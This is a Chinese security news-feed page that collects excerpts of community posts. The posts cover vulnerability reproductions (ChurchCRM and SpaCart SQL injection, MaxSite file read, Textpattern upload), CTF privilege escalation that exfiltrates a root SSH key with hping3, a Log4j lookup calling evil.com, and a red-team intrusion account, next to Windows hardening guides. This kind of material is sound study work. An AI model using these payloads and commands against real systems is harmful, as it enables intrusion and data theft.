Cybersecurity information flow

干净的信息流推送工具,偏向安全圈的点点滴滴,为安全研究人员每日发现优质内容.

了解更多 »

全部节点
时间 节点
2023年12月1日 17:31 火线zone
简介
ChurchCRM 是一款开源教会 CRM 和管理软件,ChurchCRM 存在 SQL 注入漏洞
漏洞厂商:ChurchCRM https://churchcrm.io
影响版本:ChurchCRM 4.5.4
下载地址:https://github.com/ChurchCRM/CRM/releases/download/4.5.4/ChurchCRM-4.5.4.zip
WhyCameEditor.php
GET /WhyCameEditor.php?PersonID=1+and+sleep(5) HTTP/1.1 Host: churchcrm.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: CRM-6f9ef3cec1f143fef933f2946169ad33=sj0db931o816ckr26g5gpf6s38 Connection: close
构造payload
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end)
(case(1)when(ascii(substr((select(database()))from(1)for(1)))=99)then(sleep(5))else(1)end) 为 true 与查询出的数据库名 churchcrm 第一个字母 c 的 ascii 相符合
漏洞代码WhyCameEditor.php

通过 GET 获取到的参数 PersonID
2023年11月21日 12:01 火线zone
没钱吃饭了来吃口西北风。。。。。。。。。。
混篇xss,大佬们支持支持
XSS 攻击:跨站脚本攻击(Cross Site Scripting),为不和 前端层叠样式表(Cascading Style Sheets)CSS 混淆,故将跨站脚本攻击缩写为 XSS。
XSS(跨站脚本攻击)是指恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。类似于 sql 注入。是目前最普遍的 Web 应用安全漏洞,也是 Web 攻击中最常见的攻击方式之一。
XSS( 跨站脚本攻击)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java、 VBScript、ActiveX、 Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
开局是一个商城样式的管理平台

后台管理系统发布商品 有一个弹窗广告的功能
这里发一个弹窗广告没有弹
累加发两个以上起飞

成功弹窗

最后
2023年11月21日 12:01 火线zone
前言
这是分享一次省级HVV的实战经验,总的来说还是第一次比较特殊的从打点到拿下内网机器的一个步骤,假说不考虑近源攻击以及钓鱼攻击的手段,相对于传统的漏洞攻击突破边界来说,这个分享就显得很有趣,为了防止被同行发现是哪里的演习,所以前面的截图打码会比较严重。
防火墙为弱口令
突破边界
利用vlan接口查看接口信息
对象管理->IP地址 查看内网地址的配置情况
在FW中配置VPN,需要注意几个步骤
IP地址池默认即可
VPN默认地址池,配置后的子网ip2.0.1.2/24,界面定制选择默认系统模板
下一步配置资源,资源管理-》资源配置
添加用户,配置资源以及添加用户组
提交完成配置,测试访问
http://xxx.xxx.xxx.xxx:6443
使用配置的用户名以及密码登录,也可使用客户端SSLVPN进行登录。
登录成功获取资源列表
内网横向
VPN的隧道相较于其它的隧道来讲是最简单最直接最好用的隧道,全局代理直接用工具就可以直接使用了,利用前期搜集到的接口信息,以及外链内网地址基本上可以确定内网的范围。
我很相信大佬们的指纹识别能力,所以这里放的html源码内容很少,包括标签字符串也需要打码。
这里我对内网攻击的思路是这样的
使用ICMP命令即ping探测存活网段
低速率探测8443以及80端口资产探测是否存在安全设备,尤其是态感以及探针
在1、2步骤的搜集下,YQ这么有钱竟然内网连个IPS都没有,防火墙的IPS和IDS的模块都没有买,一度让我觉得是不是踩到蜜罐了。硬着头皮也得继续往下,因为这台防火墙的是属于公网的大C段,但是确实能ping到泄露的那么多内网地址,可以继续向下尝试一下。把所有的接口探测结束,发现网段很多,也有很多资产。
内网工具免杀一把梭
结果
最后单单业务系统拿下一千多个,服务器将近100台,数据库近百个。蜜罐的话应该做不到这么👍,这个网络结构确实很大。然后我就分析了这家企业的网络架构,因为里面涉及BJ总部的部分数据。
梳理网络拓扑
从进入内网扫描确认目标单位的网段。根据1、2步骤内网的拓扑情况已经可以确定。加上边界的防火墙该单位的内网一共是五台迪普的防火墙,这里我推测是分为不同的安全域。
几个区域的名字是根据对应网段的服务器的数据确定的
数字化服务器区
主要存放数字化相关的业务服务器
流媒体服务器区
主要存放实时的媒体流数据
剩下的两个区域分别为办公网以及网管区域,因为涉及很多网管系统
根据防
2023年11月10日 21:31 火线zone
简介
最近Kubernetes ingress-nginx爆了三个漏洞,均为RCE,看看怎么个事儿

漏洞issue见:
CVE-2022-4886
CVE-2023-5043
CVE-2022-5044
三个漏洞利用姿势都可以利用nginx的功能实现代码执行或拿到k8s集群中的secret,进而接管k8s集群实现RCE,本文分析下CVE-2022-4886。
ingress和ingress-controller
k8s的service和pod在集群内部有着集群网络统一管理和分配的ip地址,这些服务只在集群内部或namespace中可访问,外部无法直接访问,k8s提供了三种访问方式:
NodePort
LoadBalance
ingress
参考https://cloud.tencent.com/developer/article/1326529,一般在kind.spec.type中定义。
ingress demo
# 将host为foo.bar.com且路径为/testpath的访问引导到test:80这个service上面 apiVersion: extensions/v1beta1 kind: Ingress metadata: name: test-ingress spec: rules: - host: foo.bar.com - http: paths: - path: /testpath backend: serviceName: test servicePort: 80
ingress 资源规范
apiVersion: networking.k8s.io/v1 # 资源所属的API群组和版本 kind: Ingress # 资源类型标识 metadata: # 元数据 name: <string> # 资源名称 annotations: # 资源注解 nginx.ingress.kubernetes.io/rewrite-target: / # URL重写 namespace: <string> # 名称空间 spec: ingressClassName: <string> # Ingress控制器类别 defaultBackend: <Object> # 默认资源后端 service: <Object> # resource 与 Service 是互斥的,只能二选一,关联后端的service对象
2023年11月10日 19:01 火线zone
MaxSite CMS是一款适用于网站、博客、企业网站、名片、落地页等的管理系统。该系统非常适合普通用户、自由职业者和网络工作室。MaxSite CMS具有丰富的功能和高速的运行速度。制作地点:乌克兰。
任意文件读取
‍
构造数据包
POST /ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfZmlsZXMvbG9hZC1maWxlLWFqYXgucGhw HTTP/1.1 Host: maxsitecms.test Content-Length: 45 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://maxsitecms.test Referer: http://maxsitecms.test/admin/editor_files Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: admin-menu=%7B%220%22%3A1%2C%221%22%3A1%2C%222%22%3A1%7D; maxsitecms.test-admin-files1=%7B%220%22%3A0%7D; maxsitecms.test-admin-files-e1=%7B%220%22%3A1%7D; ci_session=a%3A19%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223f85a588b8a9337f905e519cebe411c1%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20W
2023年11月10日 19:01 火线zone
目录
第1章 概述
1.1 目的
1.2 适用范围
1.3 适用版本
第2章 操作系统的基本安装
2.1 基本安装
第3章 账号口令
3.1 检查是否已正确配置密码最短使用期限
3.2 检查是否已正确配置密码长度最小值
3.3 检查是否已正确配置“强制密码历史”
3.4 检查是否已正确配置帐户锁定时间
3.5 检查是否已正确配置帐户锁定阈值
3.6 检查是否已正确配置“复位帐户锁定计数器”时间
3.7 检查是否按照权限、责任创建、使用用户账号
3.8 检查是否已更改管理员帐户名称
第4章 认证授权
4.1 检查是否已删除可远程访问的注册表路径和子路径
4.2 检查是否已限制匿名用户连接
4.3 检查是否已限制可关闭系统的帐户和组
4.4 检查是否已限制可从远端关闭系统的帐户和组
4.5 检查是否已限制“取得文件或其它对象的所有权”的帐户和组
4.6 检查是否已正确配置“允许本地登录”策略
4.7 检查是否已正确配置“从网络访问此计算机”策略
4.8 检查是否已删除可匿名访问的共享和命名管道
第5章 日志审计
5.1 检查是否已正确配置审核(日志记录)策略
5.2 检查是否已正确配置应用程序日志
5.3 检查是否已正确配置系统日志
5.4 检查是否已正确配置安全日志
第6章 协议安全
6.1 检查是否已修改默认的远程桌面(RDP)服务端口
6.2 检查是否已启用并正确配置源路由攻击保护
6.3 检查是否已开启Windows防火墙
6.4 检查是否已启用并正确配置SYN攻击保护
6.5 检查是否已启用并正确配置ICMP攻击保护
6.6 检查是否已禁用失效网关检测
6.7 检查是否已正确配置重传单独数据片段的次数
6.8 检查是否已禁用路由发现功能
6.9 检查是否已正确配置TCP“连接存活时间”
6.10 检查是否已启用并正确配置TCP碎片攻击保护
6.11 检查是否已启用TCP/IP筛选功能
6.12 检查是否已删除SNMP服务的默认public团体
第7章 其他配置操作
7.1 检查是否已安装防病毒软件
7.2 检查是否已启用并正确配置Windows自动更新
7.3 检查是否已启用“不显示最后的用户名”策略
7.4 检查是否已正确配置“提示用户在密码过期之前进行更改”策略
7.5 检查是否已正确配置“锁定会话时显示用户信息”策略
7.6 检查是否已禁用Windows硬盘默认共享
7.7 检查是否已启用并正确配置屏
2023年11月7日 15:01 火线zone
自从火线Zone征稿奖励方案发布后,收到了许多大佬们的优质投稿。为了感谢各位大表哥们的热情支持,我们将10月份投稿文章奖励进行公示,希望更多大佬们能够积极在社区内发表原创技术文章,与更多技术专家们共同探讨技术话题。
10月投稿文章公示:
仅统计公示时发稿≥7天的文章,发表时长不足7天的文章在下一周期的统计中公示
本次统计周期:9.24-10.23

征稿奖励方案请参见:
https://zone.huoxian.cn/d/2699-zone
奖励发放说明
符合文章激励的内容将会同步对外发表在【火线Zone】公众号上。
每月最后一个周一统一发放本月投稿奖励,如对奖励有异议请及时联系#火线小助手#。
投稿文章
Windows服务器安全基线排查与加固 https://zone.huoxian.cn/d/2851-windows
我眼里的 Docker https://zone.huoxian.cn/d/2855-docker
HackMyVM:Method命令执行到sudo提权 https://zone.huoxian.cn/d/2847-hackmyvmmethodsudo
SpaCart 审计小结 https://zone.huoxian.cn/d/2845-spacart
原创文章
源站IP ACL绕过的风险 https://zone.huoxian.cn/d/2848-ip-acl
优秀文章
一道有趣的CTF综合题目 https://zone.huoxian.cn/d/2846-ctf
CTF中比较有趣的一个提权方式 https://zone.huoxian.cn/d/2849-ctf
Textpattern CMS 4.8.8 审计笔记 https://zone.huoxian.cn/d/2850-textpattern-cms-488
Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228 https://zone.huoxian.cn/d/2856-apache-log4j2-lookup-jndi-cve-2021-44228
火线攻防社区转换脚本 https://zone.huoxian.cn/d/2852
第二届全国工业和信息化技术技能大赛河南选拔赛工业互联网安全赛项WP https://zone.huoxian.cn/d/2853-wp
2023年11月7日 14:31 火线zone
在测试压缩包解压的功能时,一般会有两个思路,一个是尝试绕过对解压文件类型的检测,一个是尝试在文件名中添加../,实现目录穿越解压到其他文件夹,造成getshell(如果一个无法解析jsp的springboot项目打包后部署在tomcat上,那么就可以上传war包到tomcat根目录上来执行jsp了)或文件覆盖。下面以两个比较常见的开源系统来分析解压过程的代码。
###1.检测压缩包内文件后缀的绕过###
在gitee上看到铭飞cms存在任意文件上传可绕过,cms存在一个上传压缩包并解压的功能,虽然有对解压的文件做文件名后缀检查,但是可以绕过。在issues只是简单说明了一下绕过的原因,所以需要看看源码搞清楚绕过的原因。https://gitee.com/mingSoft/MCMS/issues/I81PSB

1.这里以mcms5.3.1的代码进行分析,首先定位到上传压缩包的方法net/mingsoft/basic/action/ManageFileAction.java,在前面的代码只是检测上传的路径是否包含../这种路径穿越的字符。


2.接着跟进最后一行的return this.uploadTemplate(config),在这个方法内对上传的压缩包的后缀进行检测,通过hutool这个工具类库的FileUtil.getSuffix(fileName)获取文件后缀名,而这个方法最终是调用到extName(fileName)方法,获取最后一个点后面的字符作为文件后缀。在这两个地方看起来都没有什么绕过的可能,而且并没有对压缩包内的文件进行检测。


3.处理上传压缩包的代码到这里就结束了,校验压缩包文件的代码不在这里面,那就说明可能是在过滤器、拦截器、aop里,查看目录结构就发现了aop的目录,uploadAop()方法的切入点正是uploadTemplate方法。

在uploadAop方法中,如果上传的文件是zip文件,则会调用到checkZip(bean.getFile(),false);
4.而在checkZip()方法中,则是通过FileTypeUtil.getType(file).toLowerCase()来获取压缩包内文件的文件类型,即后缀,并以此校验文件后缀是否安全。

5.跟进getType()方法,它是hutool工具类下的一个方法。hutool是一个使用很广泛的工具类库,里面封装了很多操作
2023年11月7日 14:31 火线zone
套上CDN 之后,CDN厂商一般会在回源时,将真实的客户端地址写入header 中,例如cloudflare 是CF-Connecting-IP,阿里云是Ali-Cdn-Real-Ip,当然也可以从X-Forwarded-For 中取。另外7层的负载均衡服务在转发时,也会携带此类header。
如果源站是按照此类header 进行ACL 判定的话,容易被篡改绕过。
例如:
攻击者先用censys 过滤证书信息,找寻到可能的源站。
按照目标站点cname 指向的域名找出对应的CDN厂商,找到对应的header 头;
伪造header 头对源站发起探测;
最保险的是在源站配置防火墙或ACL,只让CDN厂商的回源服务器段访问,参考Allow Cloudflare IP addresses。
题外话,NGINX 1.19.4 有个新特性 ssl_reject_handshake on;,开启后,IP 访问时会终止 TLS 握手,降低证书暴露的可能性。
好文推荐:那些隱藏在 CDN 中的危險:為什麼 CDN 可能沒有你想的那麼安全
同样的风险,也存在与ProxyProtocol协议,以及TOA等扩展协议中。
这类协议,大多数都运行与内网之中。如果你的Nginx 在公网接收一个固定来源的ProxyProtocol,请务必开启网络层IP白名单。
另外看产品介绍,阿里云的全站加速DCDN、以及DDoS高防 ,腾讯DDoS防护均支持了TOA,TOA本身并无签名机制,所以也需要尽可能开启网络层白名单。
最后,你可能会问,地址空间那么大,攻击者如何能猜测出我的来源地址白名单。
试想一下:
我们在写ACL 的时候,是不是都喜欢把保留地址段和回环地址写入;
某些机构出口白名单并没那么隐秘,例如通过地址库或者关联主体的ASN号收集,或其他资产收集方式;
2023年10月27日 13:48 火线zone
漏洞描述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
Apache Log4j2 是一个 Java 的日志管理工具,是 Log4j 的升级版本
JNDI(Java Naming and Directory Interface)是 Java 平台提供的一种命名和目录服务接口,用于在 Java 应用程序中访问各种命名和目录服务,如 DNS、LDAP、RMI 注册表等。JNDI 提供了统一的方式来访问这些服务,使得 Java 应用程序能够更方便地与外部资源进行交互。
JNDI 注入漏洞是指攻击者通过恶意构造的输入参数,绕过应用程序的安全机制,将攻击者控制的恶意对象注入到 JNDI 上下文中,从而导致应用程序在使用 JNDI 服务时执行恶意操作或获取敏感信息。
JNDI 注入漏洞通常出现在使用 JNDI 进行资源查找和连接时,攻击者通过在输入参数中插入特定的 JNDI URL 或其他恶意信息,来欺骗应用程序使用攻击者指定的资源。具体攻击方式可能因应用程序的不同而有所差异。
在 JNDI(Java Naming and Directory Interface)中,lookup 是指通过名称查找资源、对象或上下文。
JNDI 提供了一种机制,使得我们可以通过名称来访问和获取各种命名和目录服务中的资源。lookup 操作是 JNDI 中的一项基本操作,通过指定一个唯一的名称或路径,我们可以在 JNDI 上下文中查找并获取与该名称相关联的资源。
lookup 操作的具体步骤如下:
获取 JNDI 初始上下文(Initial Context):通常使用 InitialContext 类的实例来表示。
调用 lookup() 方法:使用 JNDI 上下文的 lookup() 方法来执行查找操作。该方法接收一个名称参数,指定要查找的资源或对象的名称。
处理查找结果:lookup() 方法返回一个对象,表示与给定名称相关联的资源,根据具体情况进行处理。如果找到匹配的资源,我们可以将其类型转换为我们所需的类型,并使用该资源进行后续操作。
参考链接:
https://logging.apache.
2023年10月25日 02:01 火线zone
Docker 基本概念
Docker的使用广泛原因在于通过Docker打包的应用程序可以运行在任一版本的服务器上,大大提高了应用程序的可移植性,从而允许应用程序可以在在公共云、私有云或本地运行。 Docker还提供资源分离,因此可以在同一服务器上运行多个Docker容器而不会互相影响,能够为容器内的程序运行提供一个相对安全的环境,它具有最简单,最容易使用和最有效的功能。 Docker 具有三个重要概念,分别是镜像(Image)、容器(Container)和仓库(Repository)。Docker 运行容器必须要有镜像,镜像存放的场所是仓库,镜像是Docker技术的重要部分。镜像(Image)、容器(Container)和仓库(Repository)关系图如图2-1所示。
![image.png]
这个图 我自认为画的还不错解释了仓库、镜像、容器之间的爱恨纠葛。
英文你应该可以差不多理解吧,我就不进一步解释了吧
😀 我用我自己的话描述一下吧。
仓库 仓库里面放了一堆镜像,在本地可以通过 pull 来将远程的镜像给拉去下来,当然也可以把本地的镜像通过 push 给上传上去,供别人使用。
镜像 我的理解呢,就是模板就是妈妈,根据妈妈可以生出无数个一模一样的小孩--容器,不管对容器怎么操作,修改内容,但是妈妈永远都是不会发生改变的。但是通过容器还可以再生成一个新的镜像,这个新的镜像跟设定的容器是一模一样的。emmm,感觉越来越讲不清楚了。 我用僵尸感染来描述吧,镜像就像僵尸妈妈,被他感染的人就是容器,会跟僵尸妈妈一摸一样,然后我们对僵尸小孩进行进化,给它多加几个手,操作完了呢,仅仅就这一个僵尸有多个手,我们想让所有的僵尸都变多手呢,我们就把这个僵尸小孩给它升级变成僵尸妈妈,这样的话,它感染的小孩也就会跟它一模一样了。解释的不清不楚,如果还是不了解的话,这个话题就掠过了哈。
容器 容器就是我们直接面对的应用层,不做过多描述。
概念
Docker镜像可以理解为是模具,它是Docker中最基础最不可或缺的部分,它会提供一些资源为容器。镜像就像没有运行的容器一样。镜像在创建之后不会被改变,其中并不包含任何动态数据。 Docker容器是通过运行Docker镜像后而产生的产物,相当于是通过模具塑造成型的物品。并且容器是动态的,因此就像在镜像的最顶层创建了一层可写层。 搭建web服务通过Docker技术来实现并不复杂,首先拉取一个合
2023年10月25日 02:01 火线zone
前言
上周划水参加了第二届全国工业和信息化技术技能大赛河南选拔赛工业互联网安全赛,时间有限,工控的比赛还是挺有意思的,这里是部分的Writeup。
MQTT
根据流量包分析,搜索字段,在数据流量包中依次发现flag的字段信息
f

l

a

依次读出flag
flag{ruEf6OmqhAlXIYxmnR1XLC6R1]}
Webmath
<?php error_reporting(0); //do you love math? if(!isset($_GET['c'])){     show_source(__FILE__); }else{     $content = $_GET['c'];     if (strlen($content) >= 60) {         die("no");     }     $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];     foreach ($blacklist as $blackitem) {         if (preg_match('/' . $blackitem . '/m', $content)) {             die("no");         }     }     $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];     pr
2023年10月16日 11:01 火线zone
因为经常在火线撰写文章,本地是利用思源笔记来编写的(思源笔记 yyds),支持导出各种格式。但是每次上传文章后,本地的 markdown 在替换上去时,总要重新将图片上传一次,图片少了还好,图片一多,就感觉特别麻烦,于是想着写个脚本,方便对图片的处理操作。
为了方便好兄弟们直接操作,先贴出源码,使用说明,再对开发脚本的思路进行共享
import os import requests import json import re import urllib3 import shutil import glob # 禁用不安全请求警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) headers = { 'X-CSRF-Token': 'WBATX01hDCUjtKvympRiV7QkQkvGI5SewvaIv4ix', 'Cookie': 'Hm_lvt_0293e7bd41a38802c337b3133b5f0eb7=1696924650; flarum_remember=IWkphZ0Wk7kJqxTtmyBMf9d32w9CBxTfxhFNIAwy; flarum_session=XZbU2wuQOpCKtXdo6y2qS2j5h9iuGyZv2YuJRrXi; Hm_lpvt_0293e7bd41a38802c337b3133b5f0eb7=1696989728' } # 获取所有图片名 def get_all_files(folder_path): file_names = [] for root, directories, files in os.walk(folder_path): for file in files: file_path = os.path.join(root, file) file_names.append(file_path) return file_names # 上传图片获取实际上传地址 def post_upload_all_files(folder_path): img_dict ={} files = get_all_files(folder_path) for file in files: real_file = file res = requests.post(url="http
2023年10月16日 11:01 火线zone
Windows服务器安全基线排查与加固
引言:本文章是基于Windows Server 2016 服务器进行演示
一、帐户与认证
1.检查登录操作系统用户有那些
方法
步骤一:按键盘的win+R 键 输入cmd命令
注:权限不够可以管理员身份运行cmd


步骤二:输入命令 net localgroup administratros,确认除Administrator之外是否还存在重命名管理员账户。比如:user_01就是客户创建的正常用户;hack01就是hack创建的用户。
删除用户命令:方法一:net user hack01 /delete 把整个用户都删了
方法二:net localgroup administrators hack01 /delete 只删权限

2.检查口令配置策略
方法:输入gpedit.msc 本地组策略编辑器->点击windosw设置->安全设置->账号策略->密码策略


要求:双击密码必须符号复杂性要,设置已启用并点确定;(其他的设置同理)
密码长度最小值:最少要设置8个字符以上 (按需设置)
密码最短使用期限:可以根据自己的要求设置
密码使用最长使用期限:设置为90天(按需设置)

补充:不懂每个策略的意思可以点击说明,进行查看

3.检查登录失败处理策略
方法:输入gpedit.msc 本地组策略编辑器->点击windosw设置->安全设置->账号策略->
账号锁定策略
要求:帐户锁定时间:设置30分钟(按需设置)
帐户锁定阈值:设置6次无效登录(按需设置)
重置帐户锁定计数器:30分钟之后(按需设置)

4.检查是否只有Administrators组才能远程关机
方法:输入gpedit.msc 本地组策略编辑器->点击windosw设置->安全设置->本地策略->用户权限分配->点击关闭系统/从远程系统强制关机
要求:查看是否只有Administrators组,如果有其他组建议删除


5.检查应配置日志功能是否开启策略
方法:输入gpedit.msc 本地组策略编辑器->点击windosw设置->安全设置->本地策略->审核策略
要求:按照图片里面的内容进行配置

补充:不懂每个策略的意思可以点击说明,进行查看

6.检查配置日志文件大小
方法:控制面板(选择小图标)->管理工具->事件查看器->Windows日志


要求:应用程序、安全、设置、系统的属性中最大大小设
2023年10月16日 11:01 火线zone
漏洞厂商: Textpattern CMS
影响产品: Textpattern CMS 4.8.8
漏洞描述: Textpattern CMS是一个优雅的内容管理系统,是免费的开源软件。网页设计师、开发人员、出版商和博主都喜欢它的灵活性和可扩展性。它有一个强大而复杂的引擎,可以无限调整以适应您可以想象的任何类型的网站。
‍
授权任意文件上传
登录后台后重点关注文件上传相关操作

本身就存在后台文件上传模块
上传文件的数据包
POST /textpattern/index.php?event=file HTTP/1.1 Host: textpattern.test Content-Length: 947 Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNmmAxAQGdHfkvmDE Origin: http://textpattern.test Referer: http://textpattern.test/textpattern/index.php?event=file Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: txp_login=admin%2C462fb94c23884fe5a776b18253052e93; txp_login_public=471f257603admin Connection: close ------WebKitFormBoundaryNmmAxAQGdHfkvmDE Content-Disposition: form-data; name="fileInputOrder
2023年10月8日 14:31 火线zone
前言
记录CTF中的一次有趣的提权。利用hping3提权
信息搜集
扫描目标的端口信息以及指纹。探测到开放的端口为22以及80
nmap -A -p- 192.168.3.10
http://192.168.3.10/
扫描目录发现后台
http://192.168.3.10/admin/
获取shell
弱口令进入后台admin:admin,Car Rental System任意文件上传漏洞CVE-2022-28062
创建品牌
汽车->发布车辆
文件上传
首页解析小马
http://192.168.3.10/admin/img/vehicleimages/shell.php
连接小马
提权
权限不够,尝试提权
getcap -r / 2>/dev/null
getcap:用于获取文件或目录的能力信息。
-r:递归地获取指定目录下的所有文件和子目录的能力信息。
/:表示要获取能力信息的根目录,即整个文件系统。
2>/dev/null:将标准错误输出重定向到/dev/null,以屏蔽错误信息,只显示正确的能力信息。
这个命令的目的是显示根目录及其子目录中具有设置能力的文件的能力信息。能力是Linux操作系统中的一个安全特性,可用于授予一些非特权进程对特定操作的权限,而无需完全以root权限运行,CTF这种题目就是这么巧,所以没有wp着实想不到
通过监听
hping3 -c 1 --file /root/.ssh/id_rsa 192.168.3.10 -d 5000
通过wireshark抓包
将获取的私钥另存使用私钥登录
ssh root@192.168.3.10 -i id_rsa
漏洞分析
/var/www/html/admin/post-avehical.php
代码中并未对文件的内容以及后缀做过滤。
直接将传入的文件以及其它参数入库
这里利用文件包含连接数据库
2023年9月27日 11:31 火线zone
前言
利用sudo利用Linux的网络命名空间(network namespace)功能来提供更好的网络隔离和管理,在命名空间运行命令中或创建网络接口,当用户在sudoers文件中被授予了执行ip和/bin/sh命令的权限,可利用这种方式方式提升权限。
信息搜集
探测存活主机,扫描端口
端口开放22 80,查看应用
http://192.168.236.234/
http://192.168.236.234/index.htm
查看源码
提示secret.php提交方式为GET,且字段name=HackMyVM,构造payload
获取shell
POST请求方式为正常请求,继续测试,发现该位置存在命令执行
查看源码
发现了疑似隐藏的用户名以及密码,因为前期信息搜集存在22端口,尝试登录
获取到flag1
权限提升
sudo -l
发现/bin/ip的权限为root权限
sudo ip netns add foo sudo ip netns exec foo /bin/sh
成功提权获取flag2
2023年9月26日 10:31 火线zone
前言
最近花点儿时间刷刷靶场找找感觉考个OSCP,遇见了这个靶机比较有意思,分享一下。
信息搜集
资产探测可以直接扫描,探测网卡网都可以,nat模式比较省时间,桥接的话小型局域网比较省时间,扫描端口
nmap -A -p- 192.168.0.104
首先就是ftp匿名登录,读取文件内容
get locale.txt
cat local.txt
...
base64解码发现也是无用。继续根据搜集到的端口信息进行信息搜集,目录扫描常见工具都可,kali下的自带工具免安装有dirb
dirb http://192.168.0.104/ /usr/share/wordlists/dirb/big.txt -t 100
进程并发100,字典默认够用了
http://192.168.0.104/phpmyadmin/index.php
数据库并不是弱口令,利用数据库写shell利用不了,换个方向,查看应用界面
http://192.168.0.104/website/
源码可知为cms ColdFusion
查询历史漏洞发现路径
/CFIDE/
目录遍历
Administrator下无内容,继续进行目录扫描
http://192.168.0.104/CFIDE/Administrator/login.php
SQL注入
admin' or 1=1#/1
单引号闭合,sql注入,直接用工具跑,抛出用户名以及密码尝试登录ssh
POST /CFIDE/Administrator/login.php HTTP/1.1 Host: 192.168.0.104 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded
2023年9月26日 10:31 火线zone
漏洞名称: SpaCart 存在授权 SQL注入漏洞
看到了一个公开的 SpaCart SQL 注入漏洞,就想着对这个漏洞进行复现分析
但是结果发现这个漏洞是臆想出来的,并不能触发,这是因为
includes/search.php
获取的参数值被进行了 addslashes 处理 且前后语句中都有单引号,必须要闭合
本着搭建环境不易的想法,于是继续对这个代码进行审计,发现在对数组的处理方面并没有尽善尽美,导致在一些情况下,仍然可以触发 注入漏洞。
pages/admin/users.php
POST /admin/users/search HTTP/1.1 Host: spacart.test Content-Length: 36 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://spacart.test Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://spacart.test//admin/users/search Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=tj5m6glsacjrnhud7g3ll5upnq; remember=db89b9f45c00867769450fba3643f972; twk_idm_key=pBfRxUAhEv-VaM7Z74wOJ; TawkConnectionTime=0 Connection: close mode=delete&to_delete[sleep(
2023年9月25日 16:31 火线zone
The Big IAM Challenge
https://bigiamchallenge.com/
‍
Challenge 1: Buckets of Fun
We all know that public buckets are risky. But can you find the flag?
IAM Policy
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b", "Condition": { "StringLike": { "s3:prefix": "files/*" } } } ] }
IAM 策略 允许任何用户对指定的存储桶执行 GetObject 操作;允许任何用户对指定的存储桶执行 ListBucket 操作 访问带有前缀的列表对象 files/*
